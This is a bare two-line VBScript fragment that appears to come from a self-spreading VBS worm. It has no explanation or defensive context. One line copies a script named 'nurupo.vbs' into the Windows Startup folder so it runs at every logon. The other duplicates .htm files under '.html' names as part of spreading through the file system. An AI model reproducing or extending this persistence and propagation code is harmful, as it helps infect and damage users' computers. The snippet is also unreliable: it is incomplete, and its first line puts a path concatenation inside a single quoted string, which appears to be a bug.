fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\" 
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"